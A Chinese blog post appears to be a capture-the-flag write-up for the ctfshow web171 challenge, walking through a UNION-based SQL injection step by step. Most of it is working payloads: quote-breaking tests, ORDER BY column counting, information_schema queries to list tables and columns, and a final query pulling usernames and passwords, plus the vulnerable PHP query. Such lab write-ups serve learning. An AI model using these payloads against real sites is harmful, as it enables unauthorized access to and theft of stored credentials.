wordpress

ctfshow web171

数值型注入测试:

1.id=1’报错

2.id=1′–+正常显示

3.id=1′ order by 3–+正常显示

4.id=1′ order by 4–+报错说明总共有三列

5.id=1′ union select 1,2,3–+三列都可以正常回显

6.id=1′ union select version(),user(),database()–+爆出版本,用户和数据库

7.id=1′ UNION SELECT table_name,2,3 from information_schema.tables where table_schema=’ctfshow_web’–+(查表名)

注:MYSQL5.0 以上版本:自带的数据库名 information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

8.id=1′ UNION SELECT column_name,2,3 from information_schema.columns where table_name=’ctfshow_user’ and table_schema=’ctfshow_web’–+(查列名)

9.id=1′ UNION SELECT id,username,password from ctfshow_user–+(取出数据)得到flag

注:sql语句$sql = “select username,password from user where username !=’flag’ and id = ‘”.$_GET[‘id’].”‘ limit 1;”;

1’闭合语句中前一个’

–+注释语句中后一个’

评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注